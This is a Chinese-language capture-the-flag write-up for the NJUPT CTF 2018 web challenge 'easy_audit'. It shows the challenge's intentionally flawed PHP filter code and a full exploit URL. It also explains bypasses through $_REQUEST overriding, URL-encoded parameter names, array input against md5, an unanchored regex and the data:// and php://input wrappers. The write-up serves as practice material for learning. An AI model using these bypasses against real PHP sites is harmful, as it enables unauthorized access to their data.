NJUPT CTF 2018 ——web:easy_audit

easy_audit

NJUPT CTF 2018 ——web:easy_audit_第1张图片

这是我在本地搭的php环境里的,把die()里的输出改了,便于查找错误


highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('111111');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('2222222');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('33333333');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }else die('55555555');
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('4444444');
    }
}

die('hhhhhhhhh');
?> 

完整payload

http://ctfgame.acdxvfsvd.net:20007/?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;charset=unicode,ccc_liubi

同时post:nctf=123&flag=1

先来看第一个绕过

if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('111111');
    }
}

可以使用数组绕过preg_match()函数,不过这样就无法绕过下面的preg_match(’/nctfisfun$/’, $_GET[‘nctf’]) 了。
$_REQUEST可以获取传过来的get、post参数,如果get、post过来的变量名一样的话就会产生覆盖。如果变量名相同,默认post的数据会覆盖get到的数据。这样就可以绕过。
通过设置,$_REQUEST还可以获取cookie等的数据,也可以使get的数据覆盖post到的数据。

第二个绕过

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('2222222');
}

$_SERVER可以获取URL的?后面的字符串
对URL?后的内容进行URL编码绕过

下一个

 if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige'])))

%79ulige[]=

 if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun')

preg_match()函数没有规定开头,nct%66=Nnct%66isfun

 $getflag = file_get_contents($_GET['flag'])

用到php伪协议
%66lag=data://text/plain;charset=unicode,ccc_liubi

flag=php://input:
同时post:ccc_liubi
也能把ccc_liubi传给flag,但是第一个绕过的时候已经post数据了,这里就不能用了。

你可能感兴趣的:(NJUPT CTF 2018 ——web:easy_audit)